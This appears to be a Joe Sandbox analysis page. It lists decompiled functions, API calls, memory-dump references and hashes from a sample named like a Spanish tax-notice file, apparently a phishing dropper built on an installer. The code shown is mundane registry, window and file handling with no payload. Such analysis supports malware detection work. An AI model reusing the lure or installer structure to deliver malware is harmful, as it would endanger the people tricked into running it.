registryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E004024F2(int* __ebx, intOrPtr __edx, short* __esi) {
				void* _t9;
				int _t10;
				long _t13;
				int* _t16;
				intOrPtr _t21;
				void* _t22;
				short* _t24;
				void* _t26;
				void* _t29;

				_t24 = __esi;
				_t21 = __edx;
				_t16 = __ebx;
				_t9 = E00402C77(_t29, 0x20019); // executed
				_t22 = _t9;
				_t10 = E00402C15("true");
				 *((intOrPtr*)(_t26 - 0x4c)) = _t21;
				 *__esi = __ebx;
				if(_t22 == __ebx) {
					 *((intOrPtr*)(_t26 - 4)) = 1;
				} else {
					 *(_t26 + 8) = 0x3ff;
					if( *((intOrPtr*)(_t26 - 0x18)) == __ebx) {
						_t13 = RegEnumValueW(_t22, _t10, __esi, _t26 + 8, __ebx, __ebx, __ebx, __ebx);
						__eflags = _t13;
						if(_t13 != 0) {
							 *((intOrPtr*)(_t26 - 4)) = 1;
						}
					} else {
						RegEnumKeyW(_t22, _t10, __esi, 0x3ff);
					}
					_t24[0x3ff] = _t16;
					_push(_t22); // executed
					RegCloseKey(); // executed
				}
				 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t26 - 4));
				return 0;
			}

0x004024f2
0x004024f2
0x004024f2
0x004024f7
0x004024fe
0x00402500
0x00402508
0x0040250b
0x0040250e
0x00402885
0x00402514
0x0040251c
0x0040251f
0x00402538
0x0040253e
0x00402540
0x00402542
0x00402542
0x00402521
0x00402525
0x00402525
0x00402549
0x00402550
0x00402551
0x00402551
0x00402ac2
0x00402ace

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 00402525
RegEnumValueW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00020019), ref: 00402538
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsu2B23.tmp,00000000,?,00000000,00000002,00000011,00000002), ref: 00402551

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: 42400e7620033b3c75d1a052fef88eb2105eaffe06110ad1b7b23095d5839a67
Instruction ID: 18a2236d2da02041d188dcbd2d72052a2a953223b30961087eade96b9ec92dd4
Opcode Fuzzy Hash: 42400e7620033b3c75d1a052fef88eb2105eaffe06110ad1b7b23095d5839a67
Instruction Fuzzy Hash: 90017171904104AFE7159FA5DE89ABFB6B8EF45348F10403EF105A62D0DAB84E449B69

Uniqueness

Uniqueness Score: -1.00%

Function 1000289C Relevance: 3.2, APIs: 2, Instructions: 156fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(00000000), ref: 1000295B
GetLastError.KERNEL32 ref: 10002A62

Memory Dump Source

Source File: 00000000.00000002.2083600919.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2083574702.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083633665.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083683265.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: CreateErrorFileLast
String ID:
API String ID: 1214770103-0
Opcode ID: 34874d5dbfeecf70d049f007544d8fe97316615c6b6b2225bbceacac8e3d04ae
Instruction ID: 6dfa44c8e371a7ac1a486a55eff0af4ad814c9ea0d06d7514663fdd8c294557a
Opcode Fuzzy Hash: 34874d5dbfeecf70d049f007544d8fe97316615c6b6b2225bbceacac8e3d04ae
Instruction Fuzzy Hash: 4E51B4B9905211DFFB20DFA4DCC675937A8EB443D4F22C42AEA04E726DCE34A990CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0040247E Relevance: 3.1, APIs: 2, Instructions: 56
registryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E0040247E(int* __ebx, char* __esi) {
				void* _t17;
				short* _t18;
				long _t21;
				void* _t33;
				void* _t37;
				void* _t40;

				_t35 = __esi;
				_t27 = __ebx;
				_t17 = E00402C77(_t40, 0x20019); // executed
				_t33 = _t17;
				_t18 = E00402C37(0x33);
				 *__esi = __ebx;
				if(_t33 == __ebx) {
					 *(_t37 - 4) = 1;
				} else {
					 *(_t37 - 0x4c) = 0x800;
					_t21 = RegQueryValueExW(_t33, _t18, __ebx, _t37 + 8, __esi, _t37 - 0x4c); // executed
					if(_t21 != 0) {
						L7:
						 *_t35 = _t27;
						 *(_t37 - 4) = 1;
					} else {
						if( *(_t37 + 8) == 4) {
							__eflags =  *(_t37 - 0x18) - __ebx;
							 *(_t37 - 4) = 0 |  *(_t37 - 0x18) == __ebx;
							E004061A6(__esi,  *__esi);
						} else {
							if( *(_t37 + 8) == 1 ||  *(_t37 + 8) == 2) {
								 *(_t37 - 4) =  *(_t37 - 0x18);
								_t35[0x7fe] = _t27;
							} else {
								goto L7;
							}
						}
					}
					_push(_t33); // executed
					RegCloseKey(); // executed
				}
				 *0x7a8ac8 =  *0x7a8ac8 +  *(_t37 - 4);
				return 0;
			}

0x0040247e
0x0040247e
0x00402483
0x0040248a
0x0040248c
0x00402493
0x00402496
0x00402885
0x0040249c
0x0040249f
0x004024af
0x004024ba
0x004024ea
0x004024ea
0x004024ed
0x004024bc
0x004024c0
0x004024d9
0x004024e0
0x004024e3
0x004024c2
0x004024c5
0x004024d0
0x00402549
0x00000000
0x00000000
0x00000000
0x004024c5
0x004024c0
0x00402550
0x00402551
0x00402551
0x00402ac2
0x00402ace

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,?,?), ref: 004024AF
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsu2B23.tmp,00000000,?,00000000,00000002,00000011,00000002), ref: 00402551

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 08f873b6c5f836ea2cbeb832c07c557579df9b46a08ed6a66d2a9d9fb826c037
Instruction ID: 12a56d39eb772e04bf5da2f774c5f61affeaaf74f2150d0b0e53692ad729b11e
Opcode Fuzzy Hash: 08f873b6c5f836ea2cbeb832c07c557579df9b46a08ed6a66d2a9d9fb826c037
Instruction Fuzzy Hash: 0C117371914209EFEF24DFA4CA595BEB6B4EF05344F20843FE046A72C0D7B84A45DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00401389(signed int _a4) {
				intOrPtr* _t6;
				void* _t8;
				void* _t10;
				signed int _t11;
				void* _t12;
				signed int _t16;
				signed int _t17;
				void* _t18;

				_t17 = _a4;
				while(_t17 >= 0) {
					_t6 = _t17 * 0x1c +  *0x7a8a70;
					if( *_t6 == 1) {
						break;
					}
					_push(_t6); // executed
					_t8 = E00401434(); // executed
					if(_t8 == 0x7fffffff) {
						return 0x7fffffff;
					}
					_t10 = E0040136D(_t8);
					if(_t10 != 0) {
						_t11 = _t10 - 1;
						_t16 = _t17;
						_t17 = _t11;
						_t12 = _t11 - _t16;
					} else {
						_t12 = _t10 + 1;
						_t17 = _t17 + 1;
					}
					if( *((intOrPtr*)(_t18 + 0xc)) != 0) {
						 *0x7a7a0c =  *0x7a7a0c + _t12;
						SendMessageW( *(_t18 + 0x18), 0x402, MulDiv( *0x7a7a0c, 0x7530,  *0x7a79f4), 0); // executed
					}
				}
				return 0;
			}

0x0040138a
0x004013fa
0x0040139b
0x004013a0
0x00000000
0x00000000
0x004013a2
0x004013a3
0x004013ad
0x00000000
0x00401404
0x004013b0
0x004013b7
0x004013bd
0x004013be
0x004013c0
0x004013c2
0x004013b9
0x004013b9
0x004013ba
0x004013ba
0x004013c9
0x004013cb
0x004013f4
0x004013f4
0x004013c9
0x00000000

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 1be36e7ffb4e60f8615e9040eadbbc0b6b8dcead5e0d66e97d35916fbcf3aab6
Instruction ID: 2a828f8333626ea4f8ae47897e76cf54d119540c9549312051f7543085d76b41
Opcode Fuzzy Hash: 1be36e7ffb4e60f8615e9040eadbbc0b6b8dcead5e0d66e97d35916fbcf3aab6
Instruction Fuzzy Hash: 9101D132624210ABE7095B789D04B6A3698E751315F10C63BB851F66F1DA7C8C429B4D

Uniqueness

Uniqueness Score: -1.00%

Function 00402388 Relevance: 3.0, APIs: 2, Instructions: 39
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402388(void* __ebx) {
				void* _t10;
				void* _t14;
				long _t18;
				intOrPtr _t20;
				void* _t22;
				void* _t23;

				_t14 = __ebx;
				_t26 =  *(_t23 - 0x18) - __ebx;
				_t20 =  *((intOrPtr*)(_t23 - 0x24));
				if( *(_t23 - 0x18) != __ebx) {
					_t18 = E00402CF5(__eflags, _t20, E00402C37(0x22),  *(_t23 - 0x18) >> 1);
					goto L4;
				} else {
					_t10 = E00402C77(_t26, 2); // executed
					_t22 = _t10;
					if(_t22 == __ebx) {
						L6:
						 *((intOrPtr*)(_t23 - 4)) = 1;
					} else {
						_t18 = RegDeleteValueW(_t22, E00402C37(0x33));
						RegCloseKey(_t22);
						L4:
						if(_t18 != _t14) {
							goto L6;
						}
					}
				}
				 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t23 - 4));
				return 0;
			}

0x00402388
0x00402388
0x0040238b
0x0040238e
0x004023cf
0x00000000
0x00402390
0x00402392
0x00402397
0x0040239b
0x00402885
0x00402885
0x004023a1
0x004023b1
0x004023b3
0x004023d1
0x004023d3
0x00000000
0x004023d9
0x004023d3
0x0040239b
0x00402ac2
0x00402ace

APIs

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033,00000002), ref: 004023AA
RegCloseKey.ADVAPI32(00000000), ref: 004023B3

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: 336ee21dce7fe236a01c35d47a8697e130fb3ea5dcd58a3cb6936f6497ca76ff
Instruction ID: 4b991d54845a8f4c2efe32c9125b9baad4d8851bb675889a970d9a4240a8a0e2
Opcode Fuzzy Hash: 336ee21dce7fe236a01c35d47a8697e130fb3ea5dcd58a3cb6936f6497ca76ff
Instruction Fuzzy Hash: 23F0F632A041149BE710BBA49B4EABEB2A5AB44354F16003FFA02F31C1CEFC4D01876D

Uniqueness

Uniqueness Score: -1.00%

Function 00401E43 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401E61
EnableWindow.USER32(00000000,00000000), ref: 00401E6C

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 3ebbc3ab9dadbc117d2673303f8d1b6626c353d20a106f085f8fc62d721b3797
Instruction ID: 8bed64cdced8f5e888a37b1465862a95800e92f45c41cc099ab710eb89ed01f5
Opcode Fuzzy Hash: 3ebbc3ab9dadbc117d2673303f8d1b6626c353d20a106f085f8fc62d721b3797
Instruction Fuzzy Hash: ABE09272E082008FD7549BA5AA4946D77B0EB84354720803FE112F11C1DA7848418F59

Uniqueness

Uniqueness Score: -1.00%

Function 00401573 Relevance: 3.0, APIs: 2, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401573(void* __ebx) {
				int _t4;
				void* _t9;
				struct HWND__* _t11;
				struct HWND__* _t12;
				void* _t16;

				_t9 = __ebx;
				_t11 =  *0x7a79f0; // 0x203d6
				if(_t11 != __ebx) {
					ShowWindow(_t11,  *(_t16 - 0x24)); // executed
					_t4 =  *(_t16 - 0x28);
				}
				_t12 =  *0x7a7a04; // 0x103d0
				if(_t12 != _t9) {
					ShowWindow(_t12, _t4); // executed
				}
				 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t16 - 4));
				return 0;
			}

0x00401573
0x00401573
0x00401581
0x00401587
0x00401589
0x00401589
0x0040158c
0x00401594
0x0040159c
0x0040159c
0x00402ac2
0x00402ace

APIs

ShowWindow.USER32(000203D6,?), ref: 00401587
ShowWindow.USER32(000103D0), ref: 0040159C

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: e9d257a11957cecfd478a70c41151f4352c91d381a98e1f3aa8ce5a0ad929688
Instruction ID: 5269699cd9b299489618f1bbb9ba152c7ba26c22ef46d1a8c5e364d85c2f5657
Opcode Fuzzy Hash: e9d257a11957cecfd478a70c41151f4352c91d381a98e1f3aa8ce5a0ad929688
Instruction Fuzzy Hash: B5E086777041049FCB19DBA8ED808AE77A6FB85310718457FE502F3690CA79AD50CF68

Uniqueness

Uniqueness Score: -1.00%

Function 00406639 Relevance: 3.0, APIs: 2, Instructions: 22
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406639(signed int _a4) {
				struct HINSTANCE__* _t5;
				signed int _t10;

				_t10 = _a4 << 3;
				_t8 =  *(_t10 + 0x40a3e0);
				_t5 = GetModuleHandleA( *(_t10 + 0x40a3e0));
				if(_t5 != 0) {
					L2:
					return GetProcAddress(_t5,  *(_t10 + 0x40a3e4));
				}
				_t5 = E004065C9(_t8); // executed
				if(_t5 == 0) {
					return 0;
				}
				goto L2;
			}

0x00406641
0x00406644
0x0040664b
0x00406653
0x0040665f
0x00000000
0x00406666
0x00406656
0x0040665d
0x00000000
0x0040666e
0x00000000

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,004033C2,0000000A), ref: 0040664B
GetProcAddress.KERNEL32(00000000,?), ref: 00406666

Part of subcall function 004065C9: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004065E0
Part of subcall function 004065C9: wsprintfW.USER32 ref: 0040661B
Part of subcall function 004065C9: LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 0040662F

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 67dc6ca41c2bc7bd5b2f809cbb82f8f2c1b847e00e9086bd1828883d4f03c685
Instruction ID: 7f6190fd0785004a6ee8fc72a27bac991e5bdadb2fb285410322192917ba6648
Opcode Fuzzy Hash: 67dc6ca41c2bc7bd5b2f809cbb82f8f2c1b847e00e9086bd1828883d4f03c685
Instruction Fuzzy Hash: AFE02C322042016AC2009A30AE40C3B33A89A88310303883FFA02F2081EB398C31AAAD

Uniqueness

Uniqueness Score: -1.00%

Function 00405D51 Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00405D51(WCHAR* _a4, long _a8, long _a12) {
				signed int _t5;
				void* _t6;

				_t5 = GetFileAttributesW(_a4); // executed
				asm("sbb ecx, ecx");
				_t6 = CreateFileW(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
				return _t6;
			}

0x00405d55
0x00405d62
0x00405d77
0x00405d7d

APIs

GetFileAttributesW.KERNELBASE(?,00402F01,C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe,80000000,?,?,00000006,00000008,0000000A), ref: 00405D55
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405D77

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
